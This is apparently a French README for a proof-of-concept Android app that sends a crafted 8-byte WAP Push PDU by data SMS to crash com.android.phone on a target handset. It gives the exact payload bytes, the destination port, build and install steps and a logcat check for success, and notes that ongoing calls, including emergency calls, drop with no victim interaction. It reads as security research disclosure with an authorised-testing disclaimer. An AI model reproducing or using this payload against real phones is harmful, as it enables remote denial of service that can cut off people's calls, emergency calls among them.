
Application PoC Android qui envoie une PDU WAP Push malformée de 8 octets via SMS pour faire planter com.android.phone à distance, coupant silencieusement les appels sur le combiné cible.
Application Android de preuve de concept qui envoie une PDU WAP Push falsifiée de 8 octets par SMS vers un
combiné cible. La PDU malformée déclenche une NegativeArraySizeException dans
WapPushOverSms.decodeWapPdu, qui n'est pas interceptée dans InboundSmsHandler et tue
com.android.phone sur l'appareil récepteur — interrompant tout appel en cours, y compris
les appels d'urgence, sans aucune interaction de la victime.
Analyse complète : https://smsofdeath.com/
01 06 88 80 80 80 00 BE → sent as a data SMS to port 2948
./gradlew assembleDebug
Sortie : app/build/outputs/apk/debug/app-debug.apk
Nécessite un SDK Android. Créez local.properties avec le chemin de votre SDK (Android Studio
le fait automatiquement) :
sdk.dir=/path/to/Android/sdk
Installez sur un appareil émetteur, saisissez (ou remplissez automatiquement depuis une SIM active) le numéro cible, choisissez la SIM d'envoi, puis appuyez sur SEND CRASH SMS. Observez sur la cible :
adb logcat | grep -E 'NegativeArraySize|WapPushOverSms|com.android.phone'
Attendu : FATAL EXCEPTION dans com.android.phone en ~1–2 s et un changement de PID pour
ce processus, avec une brève perte de signal.
minSdk 30, targetSdk/compileSdk 35.SEND_SMS, READ_PHONE_NUMBERS, READ_PHONE_STATE.Destiné à la recherche en sécurité autorisée et aux tests sur des appareils que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. Ne pas utiliser contre des systèmes ou des personnes sans consentement.